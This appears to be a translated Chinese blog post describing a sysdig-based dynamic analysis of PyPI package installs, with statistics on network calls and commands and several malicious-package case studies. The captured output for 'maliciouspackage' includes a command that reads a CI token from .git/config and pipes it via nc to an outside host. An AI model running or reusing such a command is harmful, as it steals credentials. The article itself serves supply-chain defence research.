大约一年前,Python软件基金会(Python Software Foundation)发起了一个信息请求(RFI)活动,讨论如何检测上传到PyPI的恶意程序包。无论是接管废弃的程序包、在流行的库中误植域名(Typosquatting),还是使用凭证填充劫持程序包,很明显,这是一个影响几乎每一个程序包管理器的实际问题。误植域名(Typosquatting),也称作URL劫持,假URL等,是一种域名抢注的形式,常常会导致品牌劫持。这种劫持的方式通常有赖于用户在浏览器中输入网址时,犯下诸如错误拼写等错误。用户一旦不小心输入了一个错误的网址,便有可能被导向任何一个其他的网址(比如说一个域名抢注者运营的网站)。
事实上,像PyPI这样的程序包管理器是几乎所有公司都依赖的关键基础设施。关于这个主题,我可以写好几天,但是我现在只写这篇xkcd就够了。
这是我感兴趣的领域,因此我对如何处理此问题提出了自己的想法。但还有一件事困扰我:考虑安装程序包后会发生什么。
尽管对于某些设置活动可能是必需的,但应始终使用相关查看工具来查看诸如在pip安装过程中建立网络连接或执行命令之类的事情,因为它没有给开发人员太多机会在糟糕的事情发生之前检查代码。
我想对此做进一步的研究,因此在本文中,我将逐步介绍如何安装和分析PyPI中的每个程序包以寻找恶意活动。
如何发现恶意库
为了在安装过程中运行任意命令,开发者通常会将代码添加到程序包中的setup.py文件中,你可以在此存储库中看到一些示例。
在更高层次上讲,你可以执行以下两项操作来查找潜在的恶意依赖项:你可以查看代码中的不良内容(静态分析),或者危险地安装它们看看会发生什么(动态分析)。
虽然静态分析非常有趣(我发现了npm上使用手工grep的恶意程序包),但在这篇文章中,我将重点关注动态分析。毕竟,动态分析的能力更加强大,因为你看到的是实际发生的事情,而不是只寻找可能发生的恶意行为。
那么我们到底在寻找什么呢?
重要事情如何完成
通常,任何重要的事情在发生时都由内核完成。希望通过内核执行重要操作的普通程序(如pip)是通过使用syscall来完成的。使用syscall可以完成打开文件,建立网络连接和执行命令的所有操作!你可以点此了解到更多的信息。
这意味着,如果我们可以在安装Python程序包期间系统调用,则可以查看是否发生了任何可疑事件。好处是,代码的混淆程度无关紧要,我们将看到实际发生的情况。
需要注意的是,系统调用的想法并不是我想出来的。自2017年以来,亚当·鲍德温(Adam Baldwin) 等人一直在讨论这个问题。乔治亚理工学院的研究人员发表了一篇很好的论文采用了同样的方法。老实说,本文的大部分内容只是试图复制他们的想法。
因此,我们想要知道系统调用具体是如何做到这一点呢?
用Sysdig查看系统调用
Sysdig 是一个超级系统工具,比 strace、tcpdump、lsof 加起来还强大。可用来捕获系统状态信息,保存数据并进行过滤和分析。使用 Lua 开发,提供命令行接口以及强大的交互界面。
有许多旨在让你查看系统调用的工具,本文中使用的是sysdig,因为它既提供结构化输出,又提供了一些非常好的过滤功能。
为了实现这一点,在启动安装程序包的Docker容器时,我还启动了一个sysdig进程,该进程仅监控该容器中的事件。我也过滤掉了要从pypi.org或files.pythonhosted.com进行的网络读/写操作,因为我不想用与程序包下载相关的流量来填充日志。
通过捕获系统调用的方法,我不得不解决另一个问题:如何获取所有PyPI程序包的列表。
获取Python包
幸运的是,PyPI有一个称为“简单API”的API,它也可以被认为是“一个非常大的HTML页面,其中包含指向每个程序包的链接”,它简单、干净而且比我可能会写的任何HTML都要好。
我们可以抓取这个页面并使用pup解析所有链接,从而为我们提供约268000个程序包:
在这个测试中,我只关心每个程序包的最新版本。较旧的版本中可能埋藏着恶意版本的程序包,但AWS账单不会自己承担。
我最终得到了一个看起来像这样的管道:
简而言之,我们将每个程序包名称发送到一组EC2实例(我希望将来使用Fargate或其他东西,但我也不知道Fargate),从PyPI获取一些关于程序包的元数据,然后开始sysdig以及一系列的容器pip安装程序包,系统调用和网络流量被收集。然后,将所有数据发送到S3,以供future-Jordan处理。
这个过程如下所示:
查看结果
一旦完成上面的步骤,我将在一个S3存储桶中存储大约1TB的数据,覆盖大约245000个程序包。一些程序包没有发布的版本,一些程序包具有各种处理错误,但是这似乎是一个很好的示例。
以下是具体分析过程
我合并了元数据和输出,得到如下的一系列JSON文件:
然后,我编写了一系列脚本来开始汇总数据,以试图了解什么是良性的,什么是恶性的。让我们深入研究一下这些输出结果。
网络请求
在安装过程中,程序包需要建立网络连接的原因有很多,他们可能需要下载合法的二进制组件或其他资源,这可能是一种分析形式,或者可能正试图从系统中窃取数据或凭据。
结果发现,有460个数据程序包连接到109个独立的主机,就像上面提到的文章一样,很多这样的程序包都是由于程序包共享了网络连接的依赖关系而产生的。可以通过映射依赖关系来过滤掉它们,但在本文的示范中我还没有这样做,这是安装过程中看到的DNS请求明细。
命令执行
像网络连接一样,在安装过程中,程序包有合理的理由运行系统命令。这可能是编译本机二进制文件,设置正确的环境等。
查看我们的样本集,发现60725个程序包在安装过程中正在执行命令。就像网络连接一样,我们必须牢记,其中许多是下游依赖项(运行命令的程序包)的结果。
有趣的程序包
正如预期的那样,经过深入研究结果,大多数网络连接和命令似乎都是合法的。但也有一些奇怪行为的例子,我想列举出来作为案例研究,以说明这种类型的分析是多么有用。
(1) i-am-malicious
一个名为i-am-malicious的程序包似乎是一个恶意程序包的概念验证,以下是一些有趣的细节,使我们认为该程序包值得研究:
- {
- "dns": [{
- "name": "gist.githubusercontent.com",
- "addresses": [
- "199.232.64.133"
- ]
- }]
- ],
- "files": [
- ...
- {
- "filename": "/tmp/malicious.py",
- "flag": "O_RDONLY|O_CLOEXEC"
- },
- ...
- {
- "filename": "/tmp/malicious-was-here",
- "flag": "O_TRUNC|O_CREAT|O_WRONLY|O_CLOEXEC"
- },
- ...
- ],
- "commands": [
- "python /tmp/malicious.py"
- ]
- }
我们已经知道这里发生了什么,可以看到一个到gist.github.com的连接,正在执行一个Python文件,正在创建一个名为/tmp/malicious-was-here的文件。当然,这正是setup.py中所发生的事情:
正在讨论的malicious.py只是向/tmp/malicious-was-here添加了一个“我曾在这里”类型消息,表明这确实是一个概念验证。
(2) maliciouspackage
另一个自称为恶意程序的程序包则有创意地命名为maliciouspackage,它的攻击能力要稍高一些。以下是相关输出:
- {
- "dns": [{
- "name": "laforge.xyz",
- "addresses": [
- "34.82.112.63"
- ]
- }],
- "files": [
- {
- "filename": "/app/.git/config",
- "flag": "O_RDONLY"
- },
- ],
- "commands": [
- "sh -c apt install -y socat",
- "sh -c grep ci-token /app/.git/config | nc laforge.xyz 5566",
- "grep ci-token /app/.git/config",
- "nc laforge.xyz 5566"
- ]
- }
和前面一样,根据输出结果我们可以对正在发生的事情有了一个很好的了解。在本例中,程序包似乎从.git/config文件中提取了一个令牌,并将其上传到laforge.xyz,我们发现确实是这样:
(3) easyIoCtl
easyIoCtl程序包确实是一个有趣的程序包。它声称提供了“远离无聊的IO操作的抽象”,但我们看到下面的命令正在执行:
结果很可疑,但并不是非常的有攻击性。然而,这是一个展示跟踪系统调用攻击能力的完美示例。下面是该项目setup.py中的相关代码:
有这么多的混淆,很难知道发生了什么。传统的静态分析可能会捕获对exec的调用,但仅此而已。
要查看它在做什么,我们可以用print替换exec,结果如下:
这正是我们记录的命令,表明即使代码混淆也不会影响我们的结果,因为我们是在系统调用级别进行监控。
当我们发现恶意程序包时会发生什么?
这个问题有必要简要讨论一下,当我们发现恶意程序包时,我们能做些什么。要做的第一件事是通知PyPI开发者,让他们可以得到这个程序包。这可以通过联系security@python.org.1来实现
之后,我们可以使用BigQuery上的PyPI公共数据集查看程序包被下载了多少次。
这是一个示例查询,用于查找在过去30天内安装了恶意软件包的次数:
运行这个查询可以查出它被下载400次以上:
maliciouspackage下载
总结
第一步只是初步了解了整个PyPI,通过查看数据,我没有发现有任何程序包做了明显的有害活动,而且也没有看起来恶意的名称,虽然情况很乐观,但是我总是有可能错过某些事情,或者将来会发生。如果你有兴趣深入研究数据,你可以在这里找到它。
接下来,我将设置一个Lambda函数来使用PyPI的RSS feed获取最新的程序包更改,每个更新后的程序包都将经过相同的处理,并在检测到可疑活动时发送警报。
我仍然不喜欢仅通过用户 pip install就可以在用户系统上运行任意命令,我知道的大多数用例都是良性的,但带来的风险也必须考虑。希望通过越来越多地监控各种程序包管理器,我们可以在恶意活动产生重大影响之前识别其迹象。